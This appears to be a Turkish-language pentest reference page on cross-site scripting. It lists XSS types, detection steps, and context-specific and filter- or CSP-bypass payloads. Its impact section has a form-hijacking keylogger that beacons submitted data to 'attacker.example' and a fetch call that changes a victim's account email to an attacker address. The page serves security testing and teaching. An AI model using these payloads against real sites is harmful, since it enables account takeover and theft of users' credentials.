Cross-Site Scripting (XSS)
OWASP A03 · Injection difficulty: kolay–orta
Cross-Site Scripting (XSS), saldırganın kontrol ettiği JavaScript’in bir başka kullanıcının tarayıcısında, güvenilen sitenin kaynağında çalışmasıdır. Bununla oturum çerezleri çalınabilir, kullanıcı adına işlem yapılabilir veya sayfa içeriği değiştirilebilir (defacement, phishing).
Türleri
Section titled “Türleri”- Reflected XSS — payload istekle gönderilir, yanıtta anında yansıtılır (arama kutusu, hata mesajı). Kurbana özel hazırlanmış bir link gerekir.
- Stored XSS — payload sunucuda saklanır (yorum, profil, destek bileti) ve her ziyaretçide / admin panelinde çalışır. En yüksek etkili türdür.
- DOM-based XSS — zafiyet tamamen istemci tarafındadır; kullanıcı girdisi ( location.hash , document.referrer , postMessage ) güvensiz bir sink’e ( innerHTML , eval , document.write , jQuery.html ) yazılır.
- Blind / Stored-blind XSS — payload admin paneli, log görüntüleyici veya e-posta istemcisinde sonra çalışır; callback (XSS Hunter tarzı) ile yakalanır.
Komut üreteci
Section titled “Komut üreteci”dalfox · reflected XSS
embedded tooldalfox url https://hedef.com/search?q=FUZZ -b https://your.collaboratordalfox · reflected XSS
Section titled “dalfox · reflected XSS”Tespit
Section titled “Tespit”-
Yansıma noktalarını bul — girdiğin benzersiz bir işaretçinin (ör. pt7x9 ) yanıtın neresinde, hangi bağlamda (HTML gövde, attribute, JS, URL, CSS) göründüğünü tespit et. Burp Proxy + search / Param Miner yardımcı olur.
-
Bağlama uygun kaçış dene — HTML gövdesinde
<svg onload=...>, attribute içinde" onmouseover=..., JS bağlamında';alert(1)//, URL bağlamındajavascript:veyadata:. -
DOM için kaynağı incele — hangi sink’e hangi source’un aktığını tarayıcı DevTools, DOM Invader veya kaynak kodda izle. Özellikle location.* , URLSearchParams , innerHTML = kalıplarına bak.
-
Mutasyon / decode katmanlarını say — HTML entity, URL encode, JSON escape, markdown → HTML dönüşümü. Çift decode bazen filtreyi kırar.
Bağlam ve payload’lar
Section titled “Bağlam ve payload’lar”Bağlama göre hazır payload’lar ve blind XSS callback için: XSS Payload Generator.
<!-- HTML gövde --><svg onload=alert(document.domain)><img src=x onerror=alert(document.domain)><body onload=alert(1)><details open ontoggle=alert(1)><!-- Attribute break-out -->"><img src=x onerror=alert(document.domain)>' autofocus onfocus=alert(1) x='<!-- JS string break-out -->';alert(document.domain)//'-alert(1)-'</script><!-- URL / href bağlamı -->javascript:alert(1)data:text/html,DOM XSS örnek sink’ler
Section titled “DOM XSS örnek sink’ler”// Tehlikeli kalıplarel.innerHTML = location.hash.slice(1);document.write(name);eval('x=' + userInput);setTimeout(userInput, 0);$('div').html(location.search);<!-- #payload ile tetiklenen DOM XSS -->https://hedef.example/page#<img src=x onerror=alert(1)>Filtre ve WAF atlatma
Section titled “Filtre ve WAF atlatma”<!-- Etiket / event varyasyonları --><svg/onload=alert(1)><svg onload=alert`1`><img src=x onerror=alert(1)><!-- Case / encoding --><ScRiPt>alert(1)</sCrIpT><img src=x onerror=\u0061lert(1)>%3Cscript%3Ealert(1)%3C/script%3E<!-- keyword filtre --><!-- HTML entity / nested --><a href="javascript:alert(1)">x</a>< ve > engelliyse attribute veya JS bağlamına odaklan. script kelimesi
filtreleniyorsa event handler veya SVG/mathML kullan.
CSP atlatma (yaygın zayıf politikalar)
Section titled “CSP atlatma (yaygın zayıf politikalar)”# script-src 'unsafe-inline' → klasik XSS çalışır# script-src 'self' + JSONP / angular / cdn → gadget script yükle# script-src * → harici JS yükle# base-uri eksik → <base href="https://attacker/"> ile relative script çal<!-- 'self' + library gadget (örnek kalıp) -->Nonce’lu güçlü CSP varsa bile, nonce sızıntısı veya DOM XSS sink’leri policy’yi baypas edebilir.
Etki — oturum ve işlem sömürüsü
Section titled “Etki — oturum ve işlem sömürüsü”HttpOnly çerezleri JS ile okunamaz; bu durumda:
// Kullanıcı adına iç API çağrısı (cookie otomatik gider)fetch('/api/account/email', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({email: 'attacker@evil.com'}), credentials: 'include'});
// Keylogger / form hijackdocument.forms[0].addEventListener('submit', e => { navigator.sendBeacon('https://attacker.example/log', new FormData(e.target));});Stored XSS + admin paneli = sık görülen RCE zinciri (template/plugin yükleme, dosya yönetimi). Blind XSS için payload’a benzersiz callback URL göm.
Otomasyon ipuçları
Section titled “Otomasyon ipuçları”dalfox url "https://hedef/search?q=test" -b https://your.collaborator